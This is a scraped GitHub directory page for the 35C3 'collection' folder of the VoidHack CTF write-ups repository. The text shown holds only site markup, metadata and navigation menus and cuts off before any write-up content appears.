crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>write-ups/35C3/collection at master · VoidHack/write-ups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="8069:380B:4424F96:45B022E:64122558" data-pjax-transient="true"/><meta name="html-safe-nonce" content="fa5e9c1142017969e367219279e8fdf7e3c930d9ed40de89b95efbcb4e9ef0a9" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4MDY5OjM4MEI6NDQyNEY5Njo0NUIwMjJFOjY0MTIyNTU4IiwidmlzaXRvcl9pZCI6IjIxODc5MTIyNzU2MjA0MDY2MTYiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="9452900d882fe4acc405997b68619ab10fded53511dc2c30da42ac249a6588f5" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:102298858" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content=":books: VoidHack CTF write-ups. Contribute to VoidHack/write-ups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/54f96695f00dc51133aeec9f4acd5efc943bb0cceda95cdb498bf11b317e7106/VoidHack/write-ups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="write-ups/35C3/collection at master · VoidHack/write-ups" /><meta name="twitter:description" content=":books: VoidHack CTF write-ups. Contribute to VoidHack/write-ups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/54f96695f00dc51133aeec9f4acd5efc943bb0cceda95cdb498bf11b317e7106/VoidHack/write-ups" /><meta property="og:image:alt" content=":books: VoidHack CTF write-ups. Contribute to VoidHack/write-ups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="write-ups/35C3/collection at master · VoidHack/write-ups" /><meta property="og:url" content="https://github.com/VoidHack/write-ups" /><meta property="og:description" content=":books: VoidHack CTF write-ups. Contribute to VoidHack/write-ups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/VoidHack/write-ups git https://github.com/VoidHack/write-ups.git"> <meta name="octolytics-dimension-user_id" content="25538470" /><meta name="octolytics-dimension-user_login" content="VoidHack" /><meta name="octolytics-dimension-repository_id" content="102298858" /><meta name="octolytics-dimension-repository_nwo" content="VoidHack/write-ups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="102298858" /><meta name="octolytics-dimension-repository_network_root_nwo" content="VoidHack/write-ups" /> <link rel="canonical" href="https://github.com/VoidHack/write-ups/tree/master/35C3/collection" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="102298858" data-scoped-search-url="/VoidHack/write-ups/search" data-owner-scoped-search-url="/orgs/VoidHack/search" data-unscoped-search-url="/search" data-turbo="false" action="/VoidHack/write-ups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="XfNjSgS2vXksFPYh5EDE8fYeFS3YobxI7BLhYdtlkiwD7uSjonSnGZl28PHmeQtSXKZa4vCa/E1ygAgZJc/9aQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 